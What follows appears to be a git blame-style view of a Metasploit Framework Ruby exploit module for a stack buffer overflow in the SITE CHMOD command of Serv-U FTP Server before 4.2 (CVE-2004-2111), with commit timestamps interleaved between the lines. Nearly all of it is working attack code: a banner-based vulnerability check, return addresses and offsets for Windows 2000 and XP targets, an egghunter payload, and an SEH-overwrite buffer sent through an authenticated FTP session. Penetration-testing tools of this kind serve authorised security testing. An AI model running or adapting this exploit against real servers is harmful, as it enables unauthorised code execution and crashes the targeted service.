2011-11-30 01:34:01 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-11-30 01:34:01 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-02-21 17:03:18 +00:00
|
|
|
'Name' => 'Serv-U FTP Server < 4.2 Buffer Overflow',
|
2011-11-30 01:34:01 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in the site chmod command
|
|
|
|
in versions of Serv-U FTP Server prior to 4.2.
|
|
|
|
|
|
|
|
You must have valid credentials to trigger this vulnerability. Exploitation
|
|
|
|
also leaves the service in a non-functional state.
|
|
|
|
},
|
2012-09-20 02:46:14 +00:00
|
|
|
'Author' => 'theLightCosine',
|
2011-11-30 01:34:01 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-2111'],
|
2011-12-02 17:08:49 +00:00
|
|
|
[ 'OSVDB', '3713'],
|
2011-11-30 01:34:01 +00:00
|
|
|
[ 'BID', '9483'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows 2000 SP0-4 EN', {
|
|
|
|
'Ret' => 0x750212bc, #WS2HELP.DLL
|
|
|
|
'Offset' => 396 } ],
|
|
|
|
[ 'Windows XP SP0-1 EN', {
|
|
|
|
'Ret' => 0x71aa388f, #WS2HELP.DLL
|
|
|
|
'Offset' => 394 } ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 31 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
|
2011-11-30 02:38:00 +00:00
|
|
|
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
|
2011-11-30 01:34:01 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
|
|
|
eggoptions =
|
|
|
|
{
|
|
|
|
:checksum => true,
|
|
|
|
:eggtag => "W00T"
|
|
|
|
}
|
|
|
|
|
2011-11-30 03:57:08 +00:00
|
|
|
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
|
2011-11-30 01:34:01 +00:00
|
|
|
|
|
|
|
|
|
|
|
buffer = "chmod 777 "
|
2011-11-30 03:57:08 +00:00
|
|
|
buffer << make_nops(target['Offset'] - egg.length - hunter.length)
|
2011-11-30 01:34:01 +00:00
|
|
|
buffer << egg
|
|
|
|
buffer << hunter
|
|
|
|
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
|
|
|
|
buffer << [target.ret].pack('V') #seh
|
|
|
|
buffer << rand_text(5000)
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
send_cmd( ['SITE', buffer] , false)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|